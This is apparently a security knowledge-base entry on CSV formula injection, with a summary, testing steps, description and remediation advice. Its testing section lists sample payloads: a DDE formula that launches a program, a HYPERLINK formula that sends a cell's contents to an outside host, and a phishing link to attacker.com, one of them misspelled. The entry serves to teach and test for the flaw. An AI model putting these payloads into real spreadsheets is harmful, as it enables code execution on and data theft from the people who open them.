Formula Injection

Formula Injection

Knowledge Base>Formula Injection

Summary

Formula Injection allows an attacker to inject malicious formulas into CSV files, leading to potential data manipulation, unauthorized access, or remote code execution.

Testing methodology

Look for Export FunctionsTest Form SubmissionsCSV File Uploads=cmd|'/Cnotepad.exe'!z=HYPERLINK("http://a.com/a=&A2&")=HTYPERLINK("http://attacker.com","Click Here")
Identified Inputs
Identified CSV Export
Remote Code Execution
Phishing

Description

Formula Injection is a vulnerability that arises when an attacker can inject malicious formulas into spradsheet files like CSV. When these files are opened or processed by spreadsheet software, such as Microsoft Excel, the formulas can be automatically executed, leading to potential data manipulation, unauthorized access to sensitive information, or even remote code execution on the victim's machine.

Remediations

  • Ensure that user-supplied input is properly validated and sanitized before being included in spreadsheet files.
  • Avoid including formulas or dynamic content directly in spreadsheet files.

Affected components

  • Client Side

By using this site you agree to our Terms of Service and Privacy Policy.